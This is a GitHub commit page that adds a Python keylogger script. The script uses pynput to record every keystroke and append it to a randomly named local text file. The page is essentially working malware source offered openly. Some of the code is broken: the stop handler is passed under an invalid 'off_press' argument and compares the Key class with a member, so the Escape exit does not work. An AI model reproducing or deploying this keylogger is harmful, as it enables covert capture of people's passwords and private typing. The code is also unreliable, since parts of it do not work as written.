Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit ae42bc6

Browse files
Keylogger
1 parent 012291e commit ae42bc6

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed

‎Keylogger/keylogger.py‎

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
from pynput.keyboard import Key,Listener
2+
import random
3+
4+
file_name = 'file' + str(random.randint(0, 10000)) + '.txt'
5+
f = open(file_name, 'w')
6+
7+
def on_press(key):
8+
listen = str(key)
9+
listen = listen.replace("'","")
10+
if listen == "Key.space":
11+
listen = " "
12+
if listen == "Key.shift":
13+
listen = "[SHIFT]\n"
14+
if listen == "Key.right":
15+
listen = "[RIGHT]\n"
16+
if listen == "Key.left":
17+
listen = "[LEFT]\n"
18+
if listen == "Key.alt_l":
19+
listen = "[ALT]\n"
20+
if listen == "Key.backspace":
21+
listen = "[BACKSPACE]\n"
22+
if listen == "Key.tab":
23+
listen = " "
24+
if listen == "Key.enter":
25+
listen = "\n"
26+
with open(file_name, 'a') as l:
27+
l.write('{0} '.format(listen))
28+
29+
30+
def off_press(key):
31+
if Key == Key.esc:
32+
return False
33+
34+
35+
with Listener(on_press=on_press,off_press=off_press) as i:
36+
i.join()
37+
38+
f.close()
39+
40+

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /